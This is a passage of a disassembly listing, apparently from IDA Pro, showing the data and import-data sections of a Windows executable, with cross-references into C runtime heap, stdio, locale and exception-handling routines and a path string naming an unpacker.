byte_4E1CA8 db 4 dup(0) ; DATA XREF: sub_41A954+23o
; sub_41ACD0+6Do
dword_4E1CAC dd 7Fh dup(0) ; DATA XREF: sub_40274D+39FBo
; sub_41A24C+3Co
; char byte_4E1EA8[]
byte_4E1EA8 db 5Ch dup(0) ; DATA XREF: sub_41B507:loc_41B620o
; sub_41B507+12Do ...
dword_4E1F04 dd 0 ; DATA XREF: sub_41B802+53w
; sub_41B802+5Br ...
dword_4E1F08 dd 0 ; DATA XREF: sub_41B802+33r
; sub_41B802+3Ew ...
align 10h
; char byte_4E1F10[]
byte_4E1F10 db 60h dup(0) ; DATA XREF: sub_41BD5A:loc_41BE78o
; sub_41BD5A+12Ao
; char byte_4E1F70[]
byte_4E1F70 db 200h dup(0) ; DATA XREF: sub_41BE8A+81o
; sub_41BE8A+A9o
; char byte_4E2170[]
byte_4E2170 db 200h dup(0) ; DATA XREF: sub_41BF46:loc_41BF7Eo
; sub_41BF46+60o
; char byte_4E2370[]
byte_4E2370 db 200h dup(0) ; DATA XREF: sub_41BFBE+51o
; sub_41BFBE+83o ...
; char byte_4E2570[]
byte_4E2570 db 200h dup(0) ; DATA XREF: sub_41C19B+68o
; sub_41C19B+8Eo ...
dword_4E2770 dd 0 ; DATA XREF: sub_41C7BD+1Ar
; sub_41C9D4+87o
; int dword_4E2774
dword_4E2774 dd 0 ; DATA XREF: sub_41C87C+BAr
; sub_41C87C+101r ...
dword_4E2778 dd 0 ; DATA XREF: sub_41C78D:loc_41C7A1r
; sub_41C9D4+11Fw
dword_4E277C dd 0 ; DATA XREF: sub_41C78Dr
; sub_41C87C+9Ar ...
; char byte_4E2780[]
byte_4E2780 db 34h dup(0) ; DATA XREF: sub_41C87C+B5o
; sub_41C87C+FCo ...
dword_4E27B4 dd 0 ; DATA XREF: sub_41C78D:loc_41C7AEr
; sub_41C87C+35r ...
; char byte_4E27B8[]
byte_4E27B8 db 38h dup(0) ; DATA XREF: sub_41D5F8+40o
byte_4E27F0 db 0 ; DATA XREF: .text:0041DF9Co
; .text:0041DFC2o ...
align 4
dd 3Fh dup(0)
dword_4E28F0 dd 0 ; DATA XREF: _strtok+43r _strtok+9Fw
dword_4E28F4 dd 0 ; DATA XREF: __fsopen+9w _strtoxl+165w ...
dword_4E28F8 dd 0 ; DATA XREF: sub_42065F+35w
; __close:loc_420F83w ...
dword_4E28FC dd 0 ; DATA XREF: __sopen+149r
dword_4E2900 dd 2 ; DATA XREF: start+29w ___heap_selectr ...
dword_4E2904 dd 0A28h ; DATA XREF: start+49w start+5Aw
dword_4E2908 dd 501h ; DATA XREF: start+65w
dword_4E290C dd 5 ; DATA XREF: start+32w
; ___heap_select+9r ...
dword_4E2910 dd 1 ; DATA XREF: start+3Aw
dword_4E2914 dd 1 ; DATA XREF: WinMain(x,x,x,x):loc_40A542r
; __setargv+8Fw
dword_4E2918 dd 340B20h ; DATA XREF: WinMain(x,x,x,x)+2E8r
; WinMain(x,x,x,x)+308r ...
align 10h
; void *Memory
Memory dd 340B40h ; DATA XREF: __setenvp+48w
; __setenvp:loc_426498r ...
align 10h
off_4E2930 dd offset aCM_unpackerPac ; DATA XREF: __setargv+37w
; "C:\\m_unpacker\\packed.exe"
align 8
byte_4E2938 db 0 ; DATA XREF: _doexit+2Dw
; ___endstdio+5r
align 4
dword_4E293C dd 0 ; DATA XREF: _doexit+27w
dword_4E2940 dd 0 ; DATA XREF: _doexit+7r _doexit+B0w
dword_4E2944 dd 0 ; DATA XREF: __openfile+14Cw
; __stbuf:loc_422C97w ...
dd 0
dword_4E294C dd 0 ; DATA XREF: __fpmath+Fw
dword_4E2950 dd 0 ; DATA XREF: _CreateFrameInfo(FrameInfo *,void *)+Ar
; _CreateFrameInfo(FrameInfo *,void *)+13w ...
; char *dword_4E2954
dword_4E2954 dd 0 ; DATA XREF: start+11Cw
; __setenvp:loc_4263F9r ...
dd 0
dword_4E295C dd 0 ; DATA XREF: __amsg_exitr start+D2r ...
dword_4E2960 dd 0 ; DATA XREF: __callnewhr
dword_4E2964 dd 0 ; DATA XREF: _realloc:loc_41E4CBr
; _realloc:loc_41E509r ...
align 10h
dword_4E2970 dd 1 ; DATA XREF: __setmbcp+19w
; __setmbcp+21w ...
dword_4E2974 dd 0 ; DATA XREF: __cftoe+12r __cftof+1Ar ...
byte_4E2978 db 0 ; DATA XREF: __cftoe+3r __cftoe+8Dr ...
align 4
dword_4E297C dd 0 ; DATA XREF: __cftof+11r __cftog+1Aw ...
byte_4E2980 db 0 ; DATA XREF: __cftog+57w
align 4
dword_4E2984 dd 0 ; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+32r
; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+42w ...
dword_4E2988 dd 0 ; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+3Ar
; CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+4Bw ...
dword_4E298C dd 0 ; DATA XREF: FrameUnwindFilter(_EXCEPTION_POINTERS *):loc_424CABw
; ___FrameUnwindToState+15w ...
dword_4E2990 dd 0 ; DATA XREF: _CallSETranslator(EHExceptionRecord *,EHRegistrationNode *,void *,void *,_s_FuncInfo const *,int,EHRegistrationNode *)+8Dr
; FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *)+14r
dword_4E2994 dd 0 ; DATA XREF: sub_4254B5+Cr
; int (__stdcall *dword_4E2998)()
dword_4E2998 dd 77C26E79h ; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *):loc_425587r
; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)+40r ...
dd 2 dup(0)
; int dword_4E29A4
dword_4E29A4 dd 0 ; DATA XREF: _mbstowcs+20r
; _mbstowcs:loc_4205AEr ...
dd 3 dup(0)
; int dword_4E29B4
dword_4E29B4 dd 0 ; DATA XREF: _mbstowcs+61r
; _mbstowcs+C3r ...
dd 0
dword_4E29BC dd 1 ; DATA XREF: ___crtLCMapStringA+Er
; ___crtLCMapStringA+31w ...
dword_4E29C0 dd 0 ; DATA XREF: __FF_MSGBANNER+21r
dword_4E29C4 dd 0 ; DATA XREF: __XcptFilter+68r
; __XcptFilter+73w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv+1Co
; .data:off_4E2930o
align 4
dd 3Ah dup(0)
byte_4E2ACC db 0 ; DATA XREF: __setargv+23w
align 10h
dword_4E2AD0 dd 1 ; DATA XREF: ___crtGetEnvironmentStringsA+2r
; ___crtGetEnvironmentStringsA+24w ...
dword_4E2AD4 dd 0 ; DATA XREF: __openfile+7r
dword_4E2AD8 dd 1 ; DATA XREF: ___crtGetStringTypeA+Er
; ___crtGetStringTypeA+2Ew ...
dword_4E2ADC dd 0 ; DATA XREF: ___security_error_handler+17r
word_4E2AE0 dw 0 ; DATA XREF: __fltout+1Fo __fltout+4Dr
byte_4E2AE2 db 0 ; DATA XREF: __fltout+41r
align 4
dword_4E2AE4 dd 6 dup(0) ; DATA XREF: __fltout+5Co
dword_4E2AFC dd 0 ; DATA XREF: __fltout+48w __fltout+66o
dword_4E2B00 dd 0 ; DATA XREF: __fltout+54w
dword_4E2B04 dd 0 ; DATA XREF: __fltout+3Cw
dword_4E2B08 dd 0 ; DATA XREF: __fltout+5Cw
align 10h
dword_4E2B10 dd 0 ; DATA XREF: __ValidateEH3RN:loc_42856Er
; __ValidateEH3RN+13Fr ...
align 8
dword_4E2B18 dd 0 ; DATA XREF: __ValidateEH3RN:loc_428581r
; __ValidateEH3RN+1C4r ...
dd 0Fh dup(0)
dword_4E2B58 dd 0 ; DATA XREF: __ValidateEH3RN+12Co
; __ValidateEH3RN+191o ...
dword_4E2B5C dd 0 ; DATA XREF: ___crtMessageBoxA+9r
; ___crtMessageBoxA+38w ...
dword_4E2B60 dd 0 ; DATA XREF: ___crtMessageBoxA+4Dw
; ___crtMessageBoxA:loc_4287D5r
dword_4E2B64 dd 0 ; DATA XREF: ___crtMessageBoxA+5Bw
; ___crtMessageBoxA+D6r
dword_4E2B68 dd 0 ; DATA XREF: ___crtMessageBoxA+7Bw
; ___crtMessageBoxA:loc_428790r
dword_4E2B6C dd 0 ; DATA XREF: ___crtMessageBoxA+6Cw
; ___crtMessageBoxA+9Cr
dword_4E2B70 dd 0 ; DATA XREF: __sopen+3Dr
dword_4E2B74 dd 0 ; DATA XREF: _raise:loc_429315r
; _raise+6Co
dword_4E2B78 dd 0 ; DATA XREF: _raise:loc_4292EDr
; _raise+44o
dword_4E2B7C dd 0 ; DATA XREF: _raise:loc_4292E0r
; _raise+37o
dword_4E2B80 dd 0 ; DATA XREF: _raise:loc_4292FAr
; _raise+51o
align 8
dword_4E2B88 dd 0 ; DATA XREF: ___crtLCMapStringW+11r
; ___crtLCMapStringW+31w ...
dword_4E2B8C dd 0 ; DATA XREF: ___crtGetStringTypeW+11r
; ___crtGetStringTypeW+2Ew ...
dword_4E2B90 dd 1 ; DATA XREF: _floorr _ceilr ...
dword_4E2B94 dd 1 ; DATA XREF: ___sse2_available_init+4Dw
; ___sse2_available_init+78w
dword_4E2B98 dd 20h ; DATA XREF: __close+8r __read+Br ...
align 10h
dword_4E2BA0 dd 340650h ; DATA XREF: ___initstdio+7Br
; __filbuf+74r ...
dword_4E2BA4 dd 3Fh dup(0) ; DATA XREF: __ioinit+91o
; int dword_4E2CA0
dword_4E2CA0 dd 0 ; DATA XREF: __ismbcspace+37r
; _setSBCS+1Aw ...
dword_4E2CA4 dd 0 ; DATA XREF: __ismbcspace+21r
; _setSBCS+15w ...
dd 6 dup(0)
byte_4E2CC0 db 0 ; DATA XREF: _setSBCS+6o __setmbcp+A7o ...
byte_4E2CC1 db 0 ; DATA XREF: __splitpath+5Er
; _setSBUpLow+104w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
; int dword_4E2DC4
dword_4E2DC4 dd 4E4h ; DATA XREF: __ismbcspace+40r
; _setSBCS+10w ...
align 10h
dword_4E2DD0 dd 4 dup(0) ; DATA XREF: _setSBCS+1Fo
; __setmbcp+162o ...
byte_4E2DE0 db 0 ; DATA XREF: _setSBUpLow:loc_422E9Cw
; _setSBUpLow:loc_422EB9w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
; void *Dst
Dst dd 0 ; DATA XREF: ___sbh_heap_init+21w
; ___sbh_free_block+21Cr ...
dword_4E2EE4 dd 0 ; DATA XREF: ___sbh_heap_init+28w
; ___sbh_find_blockr ...
dword_4E2EE8 dd 0 ; DATA XREF: ___sbh_heap_init+15w
; ___sbh_find_block+8r ...
dword_4E2EEC dd 0 ; DATA XREF: _realloc+58r
; __heap_alloc+Er ...
dword_4E2EF0 dd 0 ; DATA XREF: ___sbh_heap_init+2Fw
; ___sbh_free_block+300w ...
dword_4E2EF4 dd 0 ; DATA XREF: ___sbh_heap_init+3Cw
; ___sbh_alloc_new_region+5r ...
dword_4E2EF8 dd 0 ; DATA XREF: ___sbh_free_block+229r
; ___sbh_free_block+249r ...
dword_4E2EFC dd 340000h ; DATA XREF: _free+2Ar _realloc+B6r ...
dword_4E2F00 dd 1 ; DATA XREF: _free+9r
; _realloc:loc_41E3F1r ...
dword_4E2F04 dd 142340h ; DATA XREF: start+112w
; __wincmdln:loc_42639Br ...
dword_4E2F08 dd 341080h ; DATA XREF: ___initstdio+2Bw
; ___initstdio+44w ...
dd 5 dup(0)
dword_4E2F20 dd 400h dup(0) ; DATA XREF: .data:off_443500o
; .data:00443508o
; size_t NumOfElements
NumOfElements dd 200h ; DATA XREF: ___initstdior
; ___initstdio:loc_41F8D1w ...
dword_4E3F24 dd 1 ; DATA XREF: __setenvp+9Fw
dword_4E3F28 dd 34075Ch ; DATA XREF: _doexit+3Er
; _doexit:loc_41F202r ...
; void *dword_4E3F2C
dword_4E3F2C dd 340758h ; DATA XREF: _doexit+34r _doexit+5Ar ...
dword_4E3F30 dd 1 ; DATA XREF: ___initmbctabler
; ___initmbctable+11w ...
_data ends
; Section 4. (virtual address 000E4000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 000E4000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 4E4000h
dd 53h dup(0)
dword_4E414C dd 2Dh dup(0) ; DATA XREF: .rdata:off_439428o
align 1000h
_idata2 ends
end start